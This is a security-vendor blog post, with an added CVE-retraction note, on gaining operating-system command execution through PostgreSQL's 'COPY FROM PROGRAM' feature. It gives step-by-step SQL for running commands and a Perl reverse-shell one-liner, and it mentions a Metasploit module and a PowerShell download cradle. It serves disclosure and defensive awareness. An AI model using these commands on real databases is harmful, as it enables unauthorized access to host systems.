Trustwave SpiderLabs Uncovers Critical Cybersecurity Vulnerabilities Exposing Manufacturers to Costly Attacks. Learn More

Trustwave SpiderLabs Uncovers Critical Cybersecurity Vulnerabilities Exposing Manufacturers to Costly Attacks. Learn More

Managed Detection & Response

Eradicate cyberthreats with world-class intel and expertise

Managed Security Services

Expand your team’s capabilities and strengthen your security posture

Consulting & Professional Services

Tap into our global team of tenured cybersecurity specialists

Penetration Testing

Subscription- or project-based testing, delivered by global experts

Database Security

Get ahead of database risk, protect data and exceed compliance requirements

Email Security & Management

Catch email threats others miss with layered security & maximum control

Co-Managed SOC (SIEM)

Eliminate alert fatigue, focus your SecOps team, stop threats fast, and reduce cyber risk

Microsoft Exchange Server Attacks
Stay protected against emerging threats
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
The Trustwave Approach
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Platform
SpiderLabs Fusion Center
Security Operations Centers
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats
SpiderLabs Blog

Authenticated Arbitrary Command Execution on PostgreSQL 9.3 > Latest

EDIT (9.April.2019): We have applied for a retraction of CVE-2019-9193 previously associated with this post. Upon further review and through discussions with the PostgreSQL community we do not believe this is a vulnerability in the sense that it is a security bug in the software. As such, it does not rise to the level of a CVE. However, we still believe that the "COPY TO/FROM PROGRAM" feature adds risk to many PostgreSQL environments, so we are leaving the rest of this content intact.

The risk is associated with what we consider "context escalation" where a user given superuser access to a PostgreSQL instance has inadvertently been given access to the entire underlying operating system. Account/access control under a piece of software and account/access control under an operating system are entirely separate security controls. System administrators may not be aware of how their systems are being accessed due to how a database administrator has extended access in their software.

MS SQL Server has a well-known history of battling these same concerns with “xp_cmdshell,” and the database security community consensus agrees that enabling “xp_cmdshell” on a SQL Server is a bad idea unless it is with a lot of restrictions. By default “xp_cmdshell” is disabled.

In addition to retracting the CVE, we have also corrected a mistake which stated that users in the ‘pg_read_server_files’ group can run operating system commands. It is actually users in the ‘pg_execute_server_program’ group that are extended that functionality.

We recognize that the PostgreSQL community takes security seriously and appreciate the open dialogue with that community. Our goals are the same, to minimize or eliminate avenues for misuse or abuse.

PostgreSQL, commonly known as Postgres is one of the largest and most popular database systems in the world. It is the primary database of Mac OSX but also has Linux and Windows versions available.

Today I’m going to go over a less well known ‘feature’ which allows certain database users to gain arbitrary code execution in the context of the user running the Postgres instance. This is something which is enabled by default on all versions of PostgreSQL from 9.3 through to the latest of 11.2. This affects all operating systems, Windows, Linux and Mac.

Since version 9.3, new functionality for ‘COPY TO/FROM PROGRAM’ was implemented. This allows the database superuser, and any user in the ‘pg_execute_server_program’ group to run arbitrary operating system commands. This effectively means there is no separation of privilege between a database superuser user and the user running the database on the operating system.

This is a lack of defense in depth which we used to see in Microsoft SQL Server back in the early 2000s when the xp_cmdshell function was enabled by default. This was patched and disabled by default in Microsoft SQL Server 2005, but it is interesting how the same bugs repeat, seemingly in cycles.

As this bug/flaw/functionality/exploit is somewhere between a privilege escalation and an arbitrary code execution, it needs some prior authentication. This is achieved either through access to the database with credentials or via exploiting an SQL injection in an application which has PostgreSQL on the backend. Again, in both of these instances, either the superuser or a user with ‘pg_execute_server_program’ permissions need to be in use.

To perform the attack, you simply follow these steps:

1) [Optional] Drop the table you want to use if it already exists


2) Create the table you want to hold the command output

CREATE TABLE cmd_exec(cmd_output text);

3) Run the system command via the COPY FROM PROGRAM function

COPY cmd_exec FROM PROGRAM ‘id’;

4) [Optional] View the results

SELECT * FROM cmd_exec;

5) [Optional] Clean up after yourself



Note that any single quotes inside your command must be double single quotes to escape them, so for example if you wanted to run:

echo ‘hello’;

You would need to put it inside single quotes, and then replace all single quotes inside with double single quotes:

‘echo ‘’hello’’;’

I have tested this on all major operating systems, and if a reverse shell is triggered you end up with the following privileges:

Linux - postgres (low priv)
Mac - user that installed postgres (usually an admin)

Linux and Mac OSX can usually be exploited with a perl one-liner, with a command such as this:

COPY files FROM PROGRAM ‘perl -MIO -e ‘’$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,”");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’’’;

I have simplified the exploitation processes by releasing a new Metasploit module (which should be merged into the main framework soon), as the old postgres_payload modules only work up to around version 8. postgres_cmd_execution_nine_three.rb performs all of the above automatically, if you provide it with valid database credentials which have the correct permissions. For SQL Injections you will have to take the manual route.


For Windows, however, the NETWORK SERVICE user appears not the have any write privileges, but it was still possible to trigger a reverse shell by using a PowerShell download cradle. This can be provided by settings the COMMAND variable to the PowerShell cradle command, take note to escape single quotes with a backslash \.


I hope you find this new technique useful.

Latest SpiderLabs Blogs

Trustwave SpiderLabs Report: LockBit 3.0 Ransomware Vs. the Manufacturing Sector

As the manufacturing sector continues its digital transformation, Operational Technology (OT), Industrial Control Systems (ICS), and Supervisory Control and Data Acquisition (SCADA) are becoming...

Read More

Overview of the Cyberwarfare used in Israel – Hamas War

On October 7, 2023, the Palestinian organization Hamas launched the biggest attack on Israel in years, resulting in numerous casualties and hostages taken. Israel responded with a large-scale ground...

Read More

The 2023 Retail Services Sector Threat Landscape: A Trustwave Threat Intelligence Briefing

The annual holiday shopping season is poised for a surge in spending, a fact well-known to retailers, consumers, and cybercriminals alike. The latter group, however, is poised to exploit any...

Read More